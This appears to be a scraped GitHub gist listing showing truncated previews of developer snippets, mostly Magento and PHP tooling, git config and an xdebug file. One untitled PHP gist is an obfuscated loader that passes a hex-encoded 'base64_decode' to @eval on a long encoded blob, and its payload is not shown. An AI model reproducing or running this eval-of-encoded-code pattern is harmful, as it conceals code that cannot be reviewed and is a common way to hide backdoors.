Skip to content

Instantly share code, notes, and snippets.

View Flyingmana's full-sized avatar
📄
Fighting against bureaucracy

Daniel Fahlke Flyingmana

📄
Fighting against bureaucracy
View GitHub Profile
@celechii
celechii / PronounSystem.cs
Last active January 18, 2024 06:22
Pronoun System to be used for keeping track of character's pronouns and determining when and how to use them :)
/*
MIT License
Copyright (c) 2021 Noé Charron
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
@webarchitect609
webarchitect609 / terminal.sh
Last active April 25, 2024 15:07
Git: disable GPG signing for current repo only.
# Write local
git config --local commit.gpgsign false
# Read local (if never set, can be an empty value)
git config --local commit.gpgsign
@piotrekkaminski
piotrekkaminski / MPERF-10565.diff
Created April 8, 2019 18:04
MPERF-10565.diff - logging to a file that does not exist issue
diff --git a/app/Mage.php b/app/Mage.php
index 0e650eebb4f..9c18e222689 100644
--- a/app/Mage.php
+++ b/app/Mage.php
@@ -798,9 +798,9 @@ public static function log($message, $level = null, $file = '', $forceLog = fals
',',
(string) self::getConfig()->getNode('dev/log/allowedFileExtensions', Mage_Core_Model_Store::DEFAULT_CODE)
);
- $logValidator = new Zend_Validate_File_Extension($_allowedFileExtensions);
$logDir = self::getBaseDir('var') . DS . 'log';
<?php
/*
Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/
This code was created on Monday, May 30th, 2016 at 10:02 UTC from IP 45.55.140.251
Checksum: c78b53f01c8146db93289b678994fb440fed7cb2
*/
$n7c69914="\142\141\163\x65\x36\64\137\144\145\143\157\144\145";@eval($n7c69914(
"Ly9OTjJOOGE5R2lzdWRyNlVrTWh5aGV2K0JPOUx3eFcyd3c2cFpQN0RYYzZTTkpPb3BaTTR1TkhKYjh
2b2lLbmhvblMrdjA4dHRlSHJyMkd6S2hCc2habjFCelBjYmRjSEN1WFUyNlBIb1UxOWs0RGxJRE5LQmx
TRGFxbnEvanRoNFFUSUpHMHRwOGZHTmY4VUNxU3RFSExTeFZPRFNPcnljVGJkOFdBOTQzb2M1dXZYeWd
@schmengler
schmengler / add-checkout-form-key.sh
Last active September 2, 2022 16:23
Magento SUPEE-9767 Checkout Form Key Theme Patch
find -L app/design/frontend -regex '.*\(shipping\|billing\|shipping_method\|payment\).phtml' -exec grep -L formkey {} \; \
| xargs sed -i 's/<\/form>/<?php echo $this->getBlockHtml("formkey") ?><\/form>/g'
find -L skin/frontend -name 'opcheckout.js' -exec grep -L form_key {} \; \
| xargs sed -i 's/if (elements\[i\].name=='\''payment\[method\]'\'') {/if (elements[i].name=='\''payment[method]'\'' || elements[i].name == '\''form_key'\'') {/g'
@Deepakkothandan
Deepakkothandan / xdebug.ini
Last active June 9, 2017 14:14
xdebug config for vagrant
zend_extension=xdebug.so
;xdebug.idekey = "PHPSTORM"
;xdebug.default_enable = 1
;xdebug.remote_enable = 1
;xdebug.remote_autostart = 0
;xdebug.remote_port = 9000
;xdebug.remote_handler=dbgp
;xdebug.remote_connect_back = 1
@rafaelstz
rafaelstz / Install-Magento-1.md
Last active May 1, 2024 20:22
Install Magento 1.9 (With Sample Data)
  
  ## Magento 1 + SampleData
  
  sudo apt-get update && \
  sudo apt-get install -y git wget unzip
  
  git clone https://github.com/OpenMage/magento-mirror.git ./ ;

  wget https://raw.githubusercontent.com/Vinai/compressed-magento-sample-data/1.9.1.0/compressed-magento-sample-data-1.9.1.0.tgz ;
@mattparker
mattparker / install-and-compile-php7
Last active November 28, 2021 17:36
running php tests with lcov/gcov - setup and getting close
# install lcov
apt-get update
apt-get install lcov
mkdir /usr/local/php70-gcov5
cd ~/php-src
./configure --enable-gcov --prefix=/usr/local/php70-gcov5 --with-apxs2=/usr/bin/apxs2 --with-gd --without-pear --with-jpeg-dir=/usr --with-png-dir=/usr --with-vpx-dir=/usr --with-freetype-dir=/usr --with-t1lib=/usr --enable-gd-native-ttf --enable-exif --with-config-file-path=/etc/php7 --with-config-file-scan-dir=/etc/php7/conf.d --with-mysql=/usr --with-mysql-sock=/var/run/mysqld/mysqld.sock --with-zlib --with-gmp --with-zlib-dir=/usr --with-gettext --with-kerberos --with-imap-ssl --with-mcrypt=/usr/local --with-iconv --enable-sockets --with-openssl --with-pspell --with-pdo-mysql=mysqlnd --with-pdo-sqlite --enable-soap --enable-xmlreader --with-xsl --enable-ftp --enable-cgi --with-curl=/usr --with-tidy --with-xmlrpc --enable-mbstring --enable-sysvsem --enable-sysvshm --enable-shmop --with-readline --enable-fpm --enable-intl --enable-zip --with-imap --with-mysqli=mysqlnd --enable-calendar
make
make install
@sebastianwagner
sebastianwagner / .gitignore
Last active July 25, 2016 12:46
Magento Core through composer
/vendor/
/htdocs/
composer.lock
<?php
// tested on php 5.4.4 on freebsd
// tested on php 5.5.9 on windows
// rename the error routes to e403 and e404, and this does not happen.
// -or-
// $array = get_object_vars($object->ErrorRoutes);
$json = <<< 'EOF'